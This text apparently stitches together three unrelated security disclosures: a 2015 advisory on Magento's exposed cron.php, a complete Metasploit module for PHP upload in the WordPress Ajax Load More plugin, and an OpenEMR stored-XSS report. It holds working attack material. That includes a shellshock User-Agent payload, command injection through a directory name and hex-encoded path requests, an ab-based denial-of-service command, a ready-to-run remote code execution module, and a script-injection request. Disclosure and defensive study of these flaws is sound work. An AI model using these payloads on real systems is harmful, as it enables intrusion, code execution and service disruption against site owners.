- eBay Magento eCommerce
http://magento.com/
"More than 240,000 merchants worldwide put their trust in our eCommerce
software. Magento's eCommerce platform gives you the tools you need to attract
more prospects, sell more products, and make more money. It's what we do.
We're owned by eBay, so you know we're eCommerce experts"
III. INTRODUCTION
-------------------------
Default installation of ebay Magento eCommerce software comes with a cron.php
which allows to manage scheduled tasks. The script is not protected by default
and can be publicly accessed.
The publicly exposed cron script poses some potential risks such as exploitation
of the well known shellshock vulnerability on unpatched systems leading to code
execution.
The same script has another potential command execution vector that stems from
inproper data sanitisation passed to a shell_exec function.
Apart from the code execution vectors, the script could potentially be used to
perform a DoS attack due to lack of locking mechanism that prevents the script
from spawning multiple instances of other helper shell scripts.
IV. DESCRIPTION
-------------------------
A) Shellshock vector
Magento cron.php script includes a command execution function that looks as
follows:
-----[ magento/cron.php ]-----
...
try {
if (stripos(PHP_OS, 'win') === false) {
$options = getopt('m::');
if (isset($options['m'])) {
if ($options['m'] == 'always') {
$cronMode = 'always';
} elseif ($options['m'] == 'default') {
$cronMode = 'default';
} else {
Mage::throwException('Unrecognized cron mode was defined');
}
} else if (!$isShellDisabled) {
$fileName = basename(__FILE__);
$baseDir = dirname(__FILE__);
shell_exec("/bin/sh $baseDir/cron.sh $fileName -mdefault 1 > /dev/null 2>&1 &");
shell_exec("/bin/sh $baseDir/cron.sh $fileName -malways 1 > /dev/null 2>&1 &");
exit;
}
...
------------------------------
As can be seen, the script runs shell_exec() that loads /bin/sh program which
is usually a symlink to /bin/bash.
Although the shellshock vulnerability should be patched, there have been reports
of linux distributions that insufficiently patched the issue and remained
vulnerable.
Magento's cron.php could be used as exploit the shellshock vulnerability on
unpatched systems which host Magento in CGI mode (which can be easily enabled
via .htaccess file provided with Magento).
B) Command injection
The script fails to sanitise the input data coming from $baseDir variable.
Input passed to shell execution functions should always be sanitised with
escapeshellcmd / escapeshellarg PHP functions.
Although not exploitable on its own, the lack of escaping could allow to inject
some system commands on Magento hosting platforms which have a feature to
create backups of directories with a specified name within the document root.
If the provided hosting control panel allows to specify names of such backups,
a user could potentially inject some malicious data within the directory name
which could result in a command injection when cron.php is run from the backup
directory.
The command would execute upon the shell_exec() receiving the malicious data
injected with the help of the $baseDir variable.
C) Denial of Service
As the script lacks any access control and a locking mechanism, it is possible
to remotely request cron.php multiple times in order to make it spawn
multiple instances of the cron.sh script.
As a single execution of the script results in 2 cron.sh spawned processes, plus
a separate CGI process (if website runs as CGI), an attacker could potentially
overload the Magento site with multiple requests and create a Denial of Service
condition by process exhaustion etc.
V. PROOF OF CONCEPT
-------------------------
A) Shellshock vector exploit
Sending the following request to a CGI-enabled Magento site:
GET /magento/cron.php HTTP/1.1
Host: victim_magento_site
User-Agent: () { :; } ; /bin/touch /tmp/magento_cron_hack
will result in a command execution on shellshock affected systems.
The resul of the above would be:
victim$ ls -l /tmp/magento_cron_hack
-rw-rw-rw- 1 www-data www-data 0 Jul 26 09:08 /tmp/magento_cron_hack
B) Command injection
Due to lack of sanitisation, if a malicious Magento user had access
to a backup facility, he could potenially create a backup of the magento
directory with a command within the name , e.g.:
$(id)
The user could then request the cron.php script via the following request:
GET /magento/$(id)/cron.php HTTP/1.1
Host: victim_magento_site
Because of the shell_exec() function in the quoted sourcecode of cron.php:
---
$baseDir = dirname(__FILE__);
shell_exec("/bin/sh $baseDir/cron.sh $fileName -mdefault 1 > /dev/null 2>&1 &");
---
it would cause the cron.php script to run the following command:
/bin/sh /var/www/magento/$(id)/cron.sh exec.php -mdefault 1 > /dev/null 2>&1 &
The command would run id program as soon as bash command expansion syntax of
$() got evaluated.
An attacker could also run more complex commands, by hex encoding disallowed
characters within directory names (such as '/' directory separator).
For example, he could run the command:
touch /tmp/magento_exec
by encoding it as follows:
echo 'touch /tmp/magento_exec' | hexdump -v -e '"\\\\\\""x" 1/1 "%02x" ""' ${1}
\\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63
He could then execute it via a GET request of:
GET /magento/$(`echo%20-e%20\\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63`)/exec.php HTTP/1.1
which would execute:
/bin/sh /var/www/magento/exec_poc/$(`echo -e \\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63`)/cron.sh exec.php -mdefault 1 > /dev/null 2>&1 &
resulting in creating the PoC file:
victim$ ls -l /tmp/magento_exec
-rw-r--r-- 1 www-data www-data 0 Jul 26 11:20 /tmp/magento_exec
C) Denial of Service
By sending multiple requests to cron.php, for example using apache benchmark
tool:
attacker$ ab -n 500 -c 30 http://victim_magento_site/magento/cron.php
attacker could exploit the lack of locking to spawn numerous processes,
potentially leading to resource exhaustion and a DoS condition.
The above command would result in creating multiple instances of the
cron.php/cron.sh scripts on the target host:
...
www-data 5529 0.2 1.3 287756 6872 ? Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -mdefault
www-data 5531 0.2 1.1 288000 5848 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -mdefault
www-data 5533 0.2 1.2 288000 6432 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
www-data 5535 0.3 1.2 288000 6484 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
www-data 5537 0.3 1.5 288768 7740 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
www-data 5539 0.3 1.3 287524 6956 ? Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
www-data 5541 0.3 1.4 288768 7168 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
www-data 5543 0.3 1.4 288288 7188 ? Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
www-data 5546 0.3 1.4 288512 7188 ? Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
www-data 5885 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data 5886 0.0 0.0 17880 456 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data 5887 0.0 0.0 17880 456 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data 5888 0.0 0.0 17880 440 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data 5889 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data 5890 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data 5891 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data 5899 0.0 0.0 17880 496 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data 5900 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data 5901 0.0 0.0 17880 496 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1
www-data 5904 0.0 0.0 17880 500 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data 5907 0.0 0.0 17880 496 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1
www-data 5909 0.0 0.0 17880 500 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1
www-data 5910 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1
www-data 5912 0.0 0.0 17880 464 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data 5913 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
...
VI. BUSINESS IMPACT
-------------------------
The issue has been rated as medium. Depending on the Magento hosting features
and applied patches code execution could be possible which would increase the
risks.
VII. SYSTEMS AFFECTED
-------------------------
The latest version of eBay Magento CE (1.9.2.1) was confirmed to contain
the vulnerable cron.php script.
The Magento EE versions also contain this problem according to the vendor's
advisory.
VIII. SOLUTION
-------------------------
eBay Magento assigned this issue the ID of APPSEC-1037 and supplied a patch
for it within the SUPEE-6788 patch bundle available on the official website.
The patch adds sanitisation functions around the shell_exec() code however
the cron script remains publicly accessible.
It is recommended to protect the cron script by other means.
For example, the script could require a key supplied together with a GET
request to proceed with the execution which is commonly used with other
major open source solutions.
The easiest way would also be restricting acess to the script to only
certain IPs or localhost within the web server configuration.
IX. REFERENCES
-------------------------
http://legalhackers.com/advisories/Magento-Unrestricted-Cron-Script-Vulnerability.txt
Oficial eBay Magento website:
http://magento.com/
Patch 'SUPEE-6788 Patch Bundle', addressing 'XXE/XEE Attack on Zend XML
Functionality Using Multibyte Payloads' (APPSEC-1037) is available at:
https://magento.com/security/patches/supee-6788
X. CREDITS
-------------------------
The vulnerabilities have been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
legalhackers.com
XI. REVISION HISTORY
-------------------------
Nov 6th, 2015: Advisory released
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress Ajax Load More PHP Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary file upload in the WordPress Ajax Load More
version 2.8.1.1. It allows to upload arbitrary php files and get remote code
execution. This module has been tested successfully on WordPress Ajax Load More
2.8.0 with Wordpress 4.1.3 on Ubuntu 12.04/14.04 Server.
},
'Author' =>
[
'Unknown', # Identify yourself || send an PR here
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['WPVDB', '8209']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Ajax Load More 2.8.1.1', {}]],
'DisclosureDate' => 'Oct 10 2015',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('WP_USERNAME', [true, 'A valid username', nil]),
OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil])
], self.class
)
end
def check
check_plugin_version_from_readme('ajax-load-more', '2.8.1.2')
end
def username
datastore['WP_USERNAME']
end
def password
datastore['WP_PASSWORD']
end
def get_nonce(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_backend, 'admin.php'),
'vars_get' => {
'page' => 'ajax-load-more-repeaters'
},
'cookie' => cookie
)
if res && res.body && res.body =~ /php","alm_admin_nonce":"([a-z0-9]+)"}/
return Regexp.last_match[1]
else
return nil
end
end
def exploit
vprint_status("#{peer} - Trying to login as #{username}")
cookie = wordpress_login(username, password)
fail_with(Failure::NoAccess, "#{peer} - Unable to login as: #{username}") if cookie.nil?
vprint_status("#{peer} - Trying to get nonce")
nonce = get_nonce(cookie)
fail_with(Failure::Unknown, "#{peer} - Unable to get nonce") if nonce.nil?
vprint_status("#{peer} - Trying to upload payload")
# This must be default.php
filename = 'default.php'
print_status("#{peer} - Uploading payload")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_backend, 'admin-ajax.php'),
'vars_post' => {
'action' => 'alm_save_repeater',
'value' => payload.encoded,
'repeater' => 'default',
'type' => 'default',
'alias' => '',
'nonce' => nonce
},
'cookie' => cookie
)
if res
if res.code == 200 && res.body.include?('Template Saved Successfully')
register_files_for_cleanup(filename)
else
fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.")
end
else
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
print_status("#{peer} - Calling uploaded file")
send_request_cgi(
'uri' => normalize_uri(wordpress_url_plugins, 'ajax-load-more', 'core', 'repeater', filename)
)
end
end
source: https://www.securityfocus.com/bid/61154/info
OpenEMR is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
OpenEMR 4.1.1 patch-12 and prior are vulnerable.
1. Misc > Office Notes ('note' parameter is vulnerable with a POST to
/openemr-4.1.1/interface/main/onotes/office_comments_full.php)
#Request:
POST http://www.example.com/openemr-4.1.1/interface/main/onotes/office_comments_full.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Proxy-Connection: keep-alive
Referer: http://www.example.com/openemr-4.1.1/interface/main/onotes/office_comments_full.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
mode=new&offset=0&active=all¬e=<script>alert(document.cookie)</script>
#Response:
<snip>
<tr><td><input type=hidden value='' name='act115' id='act115'><input name='box115' id='box115'
onClick='javascript:document.update_activity.act115.value=this.checked' type=checkbox checked></td><td><label
for='box115' class='bold'>Wed February 06th</label> <label for='box115' class='bold'>(test)</label></td><td><label
for='box115' class='text'><script>alert(document.cookie)</script> </label></td></tr>
<snip>